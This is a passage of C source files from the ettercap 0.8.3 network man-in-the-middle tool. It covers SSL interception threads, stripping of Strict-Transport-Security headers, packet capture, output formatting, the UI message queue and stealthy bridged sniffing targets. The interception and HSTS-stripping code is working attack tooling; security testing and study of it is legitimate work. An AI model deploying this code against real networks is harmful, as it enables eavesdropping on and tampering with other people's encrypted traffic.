EC_GBL_OPTIONS->ssl_cert, EC_GBL_OPTIONS->ssl_pkey); } } } else { /* Get our private key from our cert file */ if (SSL_CTX_use_PrivateKey_file(ssl_ctx_client, INSTALL_DATADIR "/" PROGRAM "/" CERT_FILE, SSL_FILETYPE_PEM) == 0) { DEBUG_MSG("sslw -- SSL_CTX_use_PrivateKey_file -- trying ./share/%s", CERT_FILE); if (SSL_CTX_use_PrivateKey_file(ssl_ctx_client, "./share/" CERT_FILE, SSL_FILETYPE_PEM) == 0) FATAL_ERROR("Can't open \"./share/%s\" file : %s", CERT_FILE, strerror(errno)); } } dummy_ssl = SSL_new(ssl_ctx_client); if ( (global_pk = SSL_get_privatekey(dummy_ssl)) == NULL ) FATAL_ERROR("Can't get private key from file"); SSL_free(dummy_ssl); } /* * SSL thread child function. */ EC_THREAD_FUNC(sslw_child) { struct packet_object po; int direction, ret_val, data_read; struct accepted_entry *ae; ae = (struct accepted_entry *)args; ec_thread_init(); /* We don't want this to accidentally close STDIN */ ae->fd[SSL_SERVER] = -1; /* Contact the real server */ if (sslw_sync_conn(ae) == -E_INVALID) { if (ae->fd[SSL_CLIENT] != -1) close_socket(ae->fd[SSL_CLIENT]); DEBUG_MSG("FAILED TO FIND PEER"); SAFE_FREE(ae); ec_thread_exit(); } if ((ae->status & SSL_ENABLED) && sslw_sync_ssl(ae) == -E_INVALID) { sslw_wipe_connection(ae); ec_thread_exit(); } /* A fake SYN ACK for profiles */ sslw_initialize_po(&po, NULL); po.len = 64; po.L4.flags = (TH_SYN | TH_ACK); packet_disp_data(&po, po.DATA.data, po.DATA.len); sslw_parse_packet(ae, SSL_SERVER, &po); sslw_initialize_po(&po, po.DATA.data); LOOP { data_read = 0; for(direction=0; direction<2; direction++) { ret_val = sslw_read_data(ae, direction, &po); BREAK_ON_ERROR(ret_val,ae,po); /* if we have data to read */ if (ret_val == E_SUCCESS) { data_read = 1; sslw_parse_packet(ae, direction, &po); if (po.flags & PO_DROPPED) continue; ret_val = sslw_write_data(ae, !direction, &po); BREAK_ON_ERROR(ret_val,ae,po); if ((po.flags & PO_SSLSTART) && !(ae->status & SSL_ENABLED)) { ae->status |= SSL_ENABLED; ret_val = sslw_sync_ssl(ae); BREAK_ON_ERROR(ret_val,ae,po); } sslw_initialize_po(&po, po.DATA.data); } } /* XXX - Set a proper sleep time */ /* Should we poll both fd's instead of guessing and sleeping? */ if (!data_read) ec_usleep(3000); // 3ms } return NULL; } static int sslw_remove_sts(struct packet_object *po) { u_char *ptr; u_char *end; u_char *h_end; size_t len = po->DATA.len; size_t slen = strlen("\r\nStrict-Transport-Security:"); if (!memmem(po->DATA.data, po->DATA.len, "\r\nStrict-Transport-Security:", slen)) { return -E_NOTFOUND; } ptr = po->DATA.data; end = ptr + po->DATA.len; len = end - ptr; ptr = (u_char*)memmem(ptr, len, "\r\nStrict-Transport-Security:", slen); ptr += 2; h_end = (u_char*)memmem(ptr, len, "\r\n", 2); h_end += 2; size_t before_header = ptr - po->DATA.data; size_t header_length = h_end - ptr; size_t new_len = 0; u_char *new_html; SAFE_CALLOC(new_html, len, sizeof(u_char)); BUG_IF(new_html == NULL); memcpy(new_html, po->DATA.data, before_header); new_len += before_header; memcpy(new_html+new_len, h_end, (len - header_length) - before_header); new_len += (len - header_length) - before_header; memset(po->DATA.data, '\0', po->DATA.len); memcpy(po->DATA.data, new_html, new_len); po->DATA.len = new_len; po->flags |= PO_MODIFIED; return E_SUCCESS; } /*******************************************/ /* Sessions' stuff for ssl packets */ static size_t sslw_create_ident(void **i, struct packet_object *po) { struct sslw_ident *ident; /* allocate the ident for that session */ SAFE_CALLOC(ident, 1, sizeof(struct sslw_ident)); /* the magic */ ident->magic = SSLW_MAGIC; /* prepare the ident */ memcpy(&ident->L3_src, &po->L3.src, sizeof(struct ip_addr)); ident->L4_src = po->L4.src; ident->L4_dst = po->L4.dst; /* return the ident */ *i = ident; /* return the length of the ident */ return sizeof(struct sslw_ident); } static int sslw_match(void *id_sess, void *id_curr) { struct sslw_ident *ids = id_sess; struct sslw_ident *id = id_curr; /* sanity check */ BUG_IF(ids == NULL); BUG_IF(id == NULL); /* * is this ident from our level ? * check the magic ! */ if (ids->magic != id->magic) return 0; if (ids->L4_src == id->L4_src && ids->L4_dst == id->L4_dst && !ip_addr_cmp(&ids->L3_src, &id->L3_src)) return 1; return 0; } static void sslw_create_session(struct ec_session **s, struct packet_object *po) { void *ident; DEBUG_MSG("sslw_create_session"); /* allocate the session */ SAFE_CALLOC(*s, 1, sizeof(struct ec_session)); /* create the ident */ (*s)->ident_len = sslw_create_ident(&ident, po); /* link to the session */ (*s)->ident = ident; /* the matching function */ (*s)->match = &sslw_match; /* alloc of data elements */ SAFE_CALLOC((*s)->data, 1, sizeof(struct ip_addr)); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_capture.c0000644000175000017500000001244113505247364016243 0ustar koeppeakoeppea/* ettercap -- iface and capture functions Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #if !defined(OS_WINDOWS) #include #endif /* globals */ static SLIST_HEAD (, align_entry) aligners_table; struct align_entry { int dlt; FUNC_ALIGNER_PTR(aligner); SLIST_ENTRY (align_entry) next; }; /*******************************************/ void capture_start(struct iface_env *iface) { char thread_name[64]; snprintf(thread_name, sizeof(thread_name), "capture[%s]", iface->name); ec_thread_new(thread_name, "pcap handler and packet decoder", &capture, iface); } void capture_stop(struct iface_env *iface) { pthread_t pid; char thread_name[64]; snprintf(thread_name, sizeof(thread_name), "capture[%s]", iface->name); pid = ec_thread_getpid(thread_name); if(!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); } /* * start capturing packets */ EC_THREAD_FUNC(capture) { int ret; struct iface_env *iface; /* init the thread and wait for start up */ ec_thread_init(); iface = EC_THREAD_PARAM; DEBUG_MSG("neverending loop (capture)"); /* wipe the stats */ stats_wipe(); /* * infinite loop * dispatch packets to ec_decode */ ret = pcap_loop(iface->pcap, -1, ec_decode, EC_THREAD_PARAM); ON_ERROR(ret, -1, "Error while capturing: %s", pcap_geterr(iface->pcap)); if (EC_GBL_OPTIONS->read) { if (ret==0) { USER_MSG("\n\nCapture file read completely, please exit at your convenience.\n\n"); } } return NULL; } /* * get the list of all network interfaces */ void capture_getifs(void) { pcap_if_t *dev, *pdev, *ndev; char pcap_errbuf[PCAP_ERRBUF_SIZE]; DEBUG_MSG("capture_getifs"); /* retrieve the list */ if (pcap_findalldevs((pcap_if_t **)&EC_GBL_PCAP->ifs, pcap_errbuf) == -1) ERROR_MSG("%s", pcap_errbuf); /* analize the list and remove unwanted entries */ for (pdev = dev = (pcap_if_t *)EC_GBL_PCAP->ifs; dev != NULL; dev = ndev) { /* the next entry in the list */ ndev = dev->next; /* set the description for the local loopback */ if (dev->flags & PCAP_IF_LOOPBACK) { SAFE_FREE(dev->description); dev->description = strdup("Local Loopback"); } /* fill the empty descriptions */ if (dev->description == NULL) dev->description = dev->name; /* remove the pseudo device 'any' 'nflog' and 'nfqueue' */ /* remove the pseudo device 'dbus-system' and 'dbus-session' shown on mac when ran without sudo*/ if (!strcmp(dev->name, "any") || !strcmp(dev->name, "nflog") || !strcmp(dev->name, "nfqueue") || !strcmp(dev->name, "dbus-system") || !strcmp(dev->name, "dbus-session")) { /* check if it is the first in the list */ if (dev == EC_GBL_PCAP->ifs) EC_GBL_PCAP->ifs = ndev; else pdev->next = ndev; SAFE_FREE(dev->name); SAFE_FREE(dev->description); SAFE_FREE(dev); continue; } /* remember the previous device for the next loop */ pdev = dev; DEBUG_MSG("capture_getifs: [%s] %s", dev->name, dev->description); } /* do we have to print the list ? */ if (EC_GBL_OPTIONS->lifaces) { /* we are before ui_init(), can use printf */ fprintf(stdout, "List of available Network Interfaces:\n\n"); for (dev = (pcap_if_t *)EC_GBL_PCAP->ifs; dev != NULL; dev = dev->next) fprintf(stdout, " %s \t%s\n", dev->name, dev->description); fprintf(stdout, "\n\n"); clean_exit(0); } } /* * check if the given file is a pcap file */ int is_pcap_file(char *file, char *pcap_errbuf) { pcap_t *pcap; pcap = pcap_open_offline(file, pcap_errbuf); if (pcap == NULL) return -E_INVALID; pcap_close(pcap); return E_SUCCESS; } /* * set the alignment for the buffer */ u_int8 get_alignment(int dlt) { struct align_entry *e; SLIST_FOREACH (e, &aligners_table, next) if (e->dlt == dlt) return e->aligner(); /* not found */ BUG("Don't know how to align this media header"); return 1; } /* * add a alignment function to the table */ void add_aligner(int dlt, FUNC_ALIGNER_PTR(aligner)) { struct align_entry *e; SAFE_CALLOC(e, 1, sizeof(struct align_entry)); e->dlt = dlt; e->aligner = aligner; SLIST_INSERT_HEAD(&aligners_table, e, next); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_format.c0000644000175000017500000002365213505247364016076 0ustar koeppeakoeppea/* ettercap -- formatting functions Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #ifdef HAVE_UTF8 #include #endif /* globals */ #ifdef HAVE_UTF8 static char *utf8_encoding; #endif static u_int8 EBCDIC_to_ASCII[256] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x2E, 0x2E, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x2E, 0x3F, 0x20, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x3C, 0x28, 0x2B, 0x7C, 0x26, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x21, 0x24, 0x2A, 0x29, 0x3B, 0x5E, 0x2D, 0x2F, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x7C, 0x2C, 0x25, 0x5F, 0x3E, 0x3F, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x3A, 0x23, 0x40, 0x27, 0x3D, 0x22, 0x2E, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x7E, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x2E, 0x2E, 0x2E, 0x5B, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x5D, 0x2E, 0x2E, 0x7B, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x7D, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x5C, 0x2E, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E }; /**********************************/ /* * parses the "format" and set the right visualization method */ int set_format(char *format) { DEBUG_MSG("set_format: %s", format); if (!strcasecmp(format, "hex")) { EC_GBL_FORMAT = &hex_format; return E_SUCCESS; } if (!strcasecmp(format, "ascii")) { EC_GBL_FORMAT = &ascii_format; return E_SUCCESS; } if (!strcasecmp(format, "text")) { EC_GBL_FORMAT = &text_format; return E_SUCCESS; } if (!strcasecmp(format, "html")) { EC_GBL_FORMAT = &html_format; return E_SUCCESS; } if (!strcasecmp(format, "ebcdic")) { EC_GBL_FORMAT = &ebcdic_format; return E_SUCCESS; } if (!strcasecmp(format, "utf8")) { EC_GBL_FORMAT = &utf8_format; return E_SUCCESS; } FATAL_MSG("Unsupported format (%s)", format); } /* * return the len of the resulting buffer (approximately) */ int hex_len(int len) { int i, nline; /* null string ? */ if (len == 0) return 1; /* calculate the number of lines (ceiling) */ nline = len / HEX_CHAR_PER_LINE; if (len % HEX_CHAR_PER_LINE) nline++; /* one line is printed as 66 chars */ i = nline * 66; return i; } /* * convert a buffer to a hex notation * * the string "HTTP/1.1 304 Not Modified" becomes: * * 0000: 4854 5450 2f31 2e31 2033 3034 204e 6f74 HTTP/1.1 304 Not * 0010: 204d 6f64 6966 6965 64 Modified */ int hex_format(const u_char *buf, size_t len, u_char *dst) { u_int i, j, jm, c; int dim = 0; char tmp[10]; /* some sanity checks */ if (len == 0 || buf == NULL) { strncpy((char*)dst, "", 1); return 0; } /* empty the string */ memset(dst, 0, hex_len(len)); for (i = 0; i < len; i += HEX_CHAR_PER_LINE) { dim += snprintf(tmp, 7, "%04x: ", i); strncat(dst, tmp, 7); jm = len - i; jm = jm > HEX_CHAR_PER_LINE ? HEX_CHAR_PER_LINE : jm; for (j = 0; j < jm; j++) { if ((j % 2) == 1) { dim += snprintf(tmp, 4, "%02x ", buf[i+j]); strncat(dst, tmp, 4); } else { dim += snprintf(tmp, 3, "%02x", buf[i+j]); strncat(dst, tmp, 3); } } for (; j < HEX_CHAR_PER_LINE; j++) { if ((j % 2) == 1) { strcat((char*)dst, " "); dim += 3; } else { strcat((char*)dst, " "); dim += 2; } } strcat((char*)dst, " "); dim++; for (j = 0; j < jm; j++) { c = buf[i+j]; c = isprint(c) ? c : '.'; dim += snprintf(tmp, 2, "%c" , c); strncat(dst, tmp, 2); } strcat((char*)dst, "\n"); dim++; } return dim; } /* * prints only "printable" characters, the * others are represented as '.' */ int ascii_format(const u_char *buf, size_t len, u_char *dst) { u_int i = 0; /* some sanity checks */ if (len == 0 || buf == NULL) { strncpy((char*)dst, "", 1); return 0; } /* make the substitions */ for (i = 0; i < len; i++) { if ( isprint((int)buf[i]) || buf[i] == '\n' || buf[i] == '\t' ) dst[i] = buf[i]; else dst[i] = '.'; } return len; } /* * prints only printable chars, skip the others */ int text_format(const u_char *buf, size_t len, u_char *dst) { u_int i, j = 0; /* some sanity checks */ if (len == 0 || buf == NULL) { strncpy((char*)dst, "", 1); return 0; } for (i = 0; i < len; i++) { /* * check for escape chars for ansi color. * \033[ is the escape char. */ if (buf[i] == 0x1b && buf[i+1] == 0x5b) { /* * find the first alpha char, * this is the end of the ansi sequence */ while( !isalpha((int)buf[i++]) && i < len ); } if ( isprint((int)buf[i]) || buf[i] == '\n' || buf[i] == '\t' ) dst[j++] = buf[i]; } return j; } /* * convert from ebcdic to ascii */ int ebcdic_format(const u_char *buf, size_t len, u_char *dst) { u_int i = 0; /* some sanity checks */ if (len == 0 || buf == NULL) { strncpy((char*)dst, "", 1); return 0; } /* convert from ebcdic to ascii */ for(i = 0; i < len; i++) dst[i] = (char) EBCDIC_to_ASCII[(u_int8)buf[i]]; return ascii_format(dst, len, dst); } /* * strip ever string contained in <...> */ int html_format(const u_char *buf, size_t len, u_char *dst) { u_int i, j = 0; /* some sanity checks */ if (len == 0 || buf == NULL) { strncpy((char*)dst, "", 1); return 0; } for (i = 0; i < len; i++) { /* if a tag is opened, skip till the end */ if (buf[i] == '<') { while( buf[i++] != '>' && i < len ); } if ( isprint((int)buf[i]) || buf[i] == '\n' || buf[i] == '\t' ) dst[j++] = buf[i]; } return j; } /* * return the buffer as is */ int bin_format(const u_char *buf, size_t len, u_char *dst) { /* some sanity checks */ if (len == 0 || buf == NULL) { strncpy((char*)dst, "", 1); return 0; } /* copy the buffer */ memcpy(dst, buf, len); return len; } /* * return the void string */ int zero_format(const u_char *buf, size_t len, u_char *dst) { /* variable not used */ (void) buf; (void) len; strncpy((char*)dst, "", 1); return 0; } /* * convert from a specified encoding to utf8 */ int utf8_format(const u_char *buf, size_t len, u_char *dst) { #ifndef HAVE_UTF8 /* some sanity checks */ if (len == 0 || buf == NULL) { strncpy(dst, "", 1); return 0; } /* copy the buffer */ memcpy(dst, buf, len); return len; #else iconv_t cd; #if defined (OS_BSD) || defined (OS_LINUX) || defined (OS_GNU) || defined (OS_DARWIN) char *inbuf; #else const char *inbuf; #endif char *outbuf; size_t inbytesleft, outbytesleft; /* some sanity checks */ if (len == 0 || buf == NULL) { strncpy((char*)dst, "", 1); return 0; } if (utf8_encoding == NULL) { ui_msg("You must set an encoding type before using UTF8.\n"); return 0; } inbuf = (char *)buf; inbytesleft = len; outbuf = (char *)dst; cd = iconv_open("UTF-8", utf8_encoding); iconv(cd, &inbuf, &inbytesleft, &outbuf, &outbytesleft); iconv_close(cd); return len; #endif } /* * set the encoding to use when converting to UTF-8 */ int set_utf8_encoding(u_char *fromcode) { #ifndef HAVE_UTF8 (void) fromcode; USER_MSG("UTF-8 support not compiled in.\n"); return E_SUCCESS; #else iconv_t cd; DEBUG_MSG("set_utf8_encoding: %s", fromcode); if (fromcode == NULL || strlen((const char*)fromcode) < 1) return -E_INVALID; SAFE_FREE(utf8_encoding); /* make sure encoding type is supported */ cd = iconv_open("UTF-8", (const char*)fromcode); if (cd == (iconv_t)(-1)) SEMIFATAL_ERROR("The conversion from %s to UTF-8 is not supported.", fromcode); iconv_close(cd); utf8_encoding = strdup((const char*)fromcode); return E_SUCCESS; #endif } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_ui.c0000644000175000017500000001717113505247364015222 0ustar koeppeakoeppea/* ettercap -- user interface stuff Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ struct ui_message { char *message; STAILQ_ENTRY(ui_message) next; }; static STAILQ_HEAD(, ui_message) messages_queue = STAILQ_HEAD_INITIALIZER(messages_queue); /* global mutex on interface */ static pthread_mutex_t ui_msg_mutex = PTHREAD_MUTEX_INITIALIZER; #define UI_MSG_LOCK do{ pthread_mutex_lock(&ui_msg_mutex); }while(0) #define UI_MSG_UNLOCK do{ pthread_mutex_unlock(&ui_msg_mutex); }while(0) /*******************************************/ /* called to initialize the user interface */ void ui_init(void) { DEBUG_MSG("ui_init"); EXECUTE(EC_GBL_UI->init); EC_GBL_UI->initialized = 1; } /* called to run the user interface */ void ui_start(void) { DEBUG_MSG("ui_start"); if (EC_GBL_UI->initialized) EXECUTE(EC_GBL_UI->start); else { DEBUG_MSG("ui_start called initialized"); } } /* called to end the user interface */ void ui_cleanup(void) { if (EC_GBL_UI->initialized) { DEBUG_MSG("ui_cleanup"); EXECUTE(EC_GBL_UI->cleanup); EC_GBL_UI->initialized = 0; } } /* implement the progress bar */ int ui_progress(char *title, int value, int max) { if (EC_GBL_UI->progress) return EC_GBL_UI->progress(title, value, max); return UI_PROGRESS_UPDATED; } /* send an update notification */ void ui_update(int target) { if(EC_GBL_UI->update) { DEBUG_MSG("ui_update"); EC_GBL_UI->update(target); } } /* * the FATAL_MSG error handling function */ void ui_error(const char *fmt, ...) { va_list ap; int n; size_t size = 50; char *msg; /* * we hope the message is shorter * than 'size', else realloc it */ SAFE_CALLOC(msg, size, sizeof(char)); while (1) { /* Try to print in the allocated space. */ va_start(ap, fmt); n = vsnprintf (msg, size, fmt, ap); va_end(ap); /* If that worked, we have finished. */ if (n > -1 && (size_t)n < size) break; /* Else try again with more space. */ if (n > -1) /* glibc 2.1 */ size = n+1; /* precisely what is needed */ else /* glibc 2.0 */ size *= 2; /* twice the old size */ SAFE_REALLOC(msg, size); } /* dump the error in the debug file */ DEBUG_MSG("%s", msg); /* call the function */ if (EC_GBL_UI->error) EXECUTE(EC_GBL_UI->error, msg); /* the interface is not yet initialized */ else fprintf(stderr, "\n%s\n", msg); /* free the message */ SAFE_FREE(msg); } /* * the FATAL_ERROR error handling function */ void ui_fatal_error(const char *msg) { /* * call the function * make sure that the globals have been alloc'd */ if (EC_GBLS && EC_GBL_UI && EC_GBL_UI->fatal_error && EC_GBL_UI->initialized) EXECUTE(EC_GBL_UI->fatal_error, msg); /* the interface is not yet initialized */ else { fprintf(stderr, "\n%s\n\n", msg); exit(-1); } } /* * this fuction enqueues the messages displayed by * ui_msg_flush() */ void ui_msg(const char *fmt, ...) { va_list ap; struct ui_message *msg; int n; size_t size = 50; SAFE_CALLOC(msg, 1, sizeof(struct ui_message)); /* * we hope the message is shorter * than 'size', else realloc it */ SAFE_CALLOC(msg->message, size, sizeof(char)); while (1) { /* Try to print in the allocated space. */ va_start(ap, fmt); n = vsnprintf (msg->message, size, fmt, ap); va_end(ap); /* If that worked, we have finished. */ if (n > -1 && (size_t)n < size) break; /* Else try again with more space. */ if (n > -1) /* glibc 2.1 */ size = n+1; /* precisely what is needed */ else /* glibc 2.0 */ size *= 2; /* twice the old size */ SAFE_REALLOC(msg->message, size); } /* log the messages if needed */ if (EC_GBL_OPTIONS->msg_fd) { fprintf(EC_GBL_OPTIONS->msg_fd, "%s", msg->message); fflush(EC_GBL_OPTIONS->msg_fd); } /* * MUST use the mutex. * this MAY be a different thread !! */ UI_MSG_LOCK; /* add the message to the queue */ STAILQ_INSERT_TAIL(&messages_queue, msg, next); UI_MSG_UNLOCK; } /* * get the user input */ void ui_input(const char *title, char *input, size_t n, void (*callback)(void)) { DEBUG_MSG("ui_input"); EXECUTE(EC_GBL_UI->input, title, input, n, callback); } /* * this function is used to display up to 'max' messages. * a user interface MUST use this to empty the message queue. */ int ui_msg_flush(int max) { int i = 0; int old = 0; struct ui_message *msg; /* sanity checks */ if (!EC_GBL_UI->initialized) return 0; if (STAILQ_EMPTY(&messages_queue)) return 0; // don't allow the thread to cancel while holding the ui mutex pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, &old); /* the queue is updated by other threads */ UI_MSG_LOCK; while ( (msg = STAILQ_FIRST(&messages_queue)) != NULL) { /* diplay the message */ EC_GBL_UI->msg(msg->message); STAILQ_REMOVE_HEAD(&messages_queue, msg, next); /* free the message */ SAFE_FREE(msg->message); SAFE_FREE(msg); /* do not display more then 'max' messages */ if (++i == max) break; } UI_MSG_UNLOCK; pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, &old); /* returns the number of displayed messages */ return i; } /* * empty all the message queue */ int ui_msg_purge_all(void) { int i = 0; struct ui_message *msg; /* the queue is updated by other threads */ UI_MSG_LOCK; while ( (msg = STAILQ_FIRST(&messages_queue)) != NULL) { STAILQ_REMOVE_HEAD(&messages_queue, msg, next); /* free the message */ SAFE_FREE(msg->message); SAFE_FREE(msg); i++; } UI_MSG_UNLOCK; /* returns the number of purgeded messages */ return i; } /* * register the function pointer for * the user interface. * a new user interface MUST implement this * three function and use this function * to hook in the right place. */ void ui_register(struct ui_ops *ops) { BUG_IF(ops->init == NULL); EC_GBL_UI->init = ops->init; BUG_IF(ops->cleanup == NULL); EC_GBL_UI->cleanup = ops->cleanup; BUG_IF(ops->start == NULL); EC_GBL_UI->start = ops->start; BUG_IF(ops->msg == NULL); EC_GBL_UI->msg = ops->msg; BUG_IF(ops->error == NULL); EC_GBL_UI->error = ops->error; BUG_IF(ops->fatal_error == NULL); EC_GBL_UI->fatal_error = ops->fatal_error; BUG_IF(ops->input == NULL); EC_GBL_UI->input = ops->input; BUG_IF(ops->progress == NULL); EC_GBL_UI->progress = ops->progress; EC_GBL_UI->update = ops->update; EC_GBL_UI->type = ops->type; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_sniff.c0000644000175000017500000004442713505247364015716 0ustar koeppeakoeppea/* ettercap -- sniffing method module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include /* proto */ static void set_interesting_flag(struct packet_object *po); void set_forwardable_flag(struct packet_object *po); static void add_port(void *ports, u_int n); static void add_ip(void *digit, u_int n); static int expand_range_ip(char *str, void *target); #ifdef WITH_IPV6 static int expand_ipv6(char *str, struct target_env *target); #endif static pthread_mutex_t ip_list_mutex = PTHREAD_MUTEX_INITIALIZER; #define IP_LIST_LOCK do{ pthread_mutex_lock(&ip_list_mutex); } while(0) #define IP_LIST_UNLOCK do{ pthread_mutex_unlock(&ip_list_mutex); } while(0) #ifdef WITH_IPV6 static pthread_mutex_t ip6_list_mutex = PTHREAD_MUTEX_INITIALIZER; #define IP6_LIST_LOCK do{ pthread_mutex_lock(&ip6_list_mutex); } while(0) #define IP6_LIST_UNLOCK do{ pthread_mutex_unlock(&ip6_list_mutex); } while(0) #endif /*******************************************/ void set_sniffing_method(struct sniffing_method *sm) { /* set the method and all its pointer */ memcpy(EC_GBL_SNIFF, sm, sizeof(struct sniffing_method)); /* on startup it is not active */ EC_GBL_SNIFF->active = 0; } /* * classic sniffing method. * based on IP and MAC filtering */ void set_unified_sniff(void) { struct sniffing_method sm; DEBUG_MSG("set_unified_sniff"); sm.type = SM_UNIFIED; sm.start = &start_unified_sniff; sm.cleanup = &stop_unified_sniff; sm.check_forwarded = &unified_check_forwarded; sm.set_forwardable = &unified_set_forwardable; /* unified forwarding is done at layer 3 */ sm.forward = &forward_unified_sniff; sm.interesting = &set_interesting_flag; set_sniffing_method(&sm); } /* * bridged sniffing method. * it uses two network interfaces and * it is totally stealthy */ void set_bridge_sniff(void) { struct sniffing_method sm; DEBUG_MSG("set_bridge_sniff"); sm.type = SM_BRIDGED; sm.start = &start_bridge_sniff; sm.cleanup = &stop_bridge_sniff; sm.check_forwarded = &bridge_check_forwarded; sm.set_forwardable = &bridge_set_forwardable; sm.forward = &forward_bridge_sniff; sm.interesting = &set_interesting_flag; set_sniffing_method(&sm); } /* * set the PO_IGNORE based on the * TARGETS specified on command line */ static void set_interesting_flag(struct packet_object *po) { char value = 0; char good = 0; char proto = 0; /* * first check the protocol. * if it is not the one specified it is * useless to parse the mac, ip and port */ if (!EC_GBL_OPTIONS->proto || !strcasecmp(EC_GBL_OPTIONS->proto, "all")) proto = 1; else { if (EC_GBL_OPTIONS->proto && !strcasecmp(EC_GBL_OPTIONS->proto, "tcp") && po->L4.proto == NL_TYPE_TCP) proto = 1; if (EC_GBL_OPTIONS->proto && !strcasecmp(EC_GBL_OPTIONS->proto, "udp") && po->L4.proto == NL_TYPE_UDP) proto = 1; } /* the protocol does not match */ if (!EC_GBL_OPTIONS->reversed && proto == 0) return; /* * we have to check if the packet is complying with the TARGETS * specified by the users. * * 1) also accept the packet if the destination mac address is equal * to the attacker mac address. this is because we need to sniff * during mitm attacks and in the target specification you select * the real mac address... * * 2) to sniff thru a gateway, accept also the packet if it has non local * ip address. * */ /* FROM TARGET1 TO TARGET2 */ /* T1.mac == src & T1.ip = src & T1.port = src */ if ( (EC_GBL_TARGET1->all_mac || !memcmp(EC_GBL_TARGET1->mac, po->L2.src, MEDIA_ADDR_LEN)) && (EC_GBL_TARGET1->all_ip || cmp_ip_list(&po->L3.src, EC_GBL_TARGET1) || (EC_GBL_OPTIONS->remote && ip_addr_is_local(&po->L3.src, NULL) != E_SUCCESS) ) && (EC_GBL_TARGET1->all_port || BIT_TEST(EC_GBL_TARGET1->ports, ntohs(po->L4.src))) ) value = 1; /* T2.mac == dst & T2.ip = dst & T2.port = dst */ if ( value && ( (EC_GBL_TARGET2->all_mac || !memcmp(EC_GBL_TARGET2->mac, po->L2.dst, MEDIA_ADDR_LEN) || !memcmp(EC_GBL_IFACE->mac, po->L2.dst, MEDIA_ADDR_LEN)) && (EC_GBL_TARGET2->all_ip || cmp_ip_list(&po->L3.dst, EC_GBL_TARGET2) || 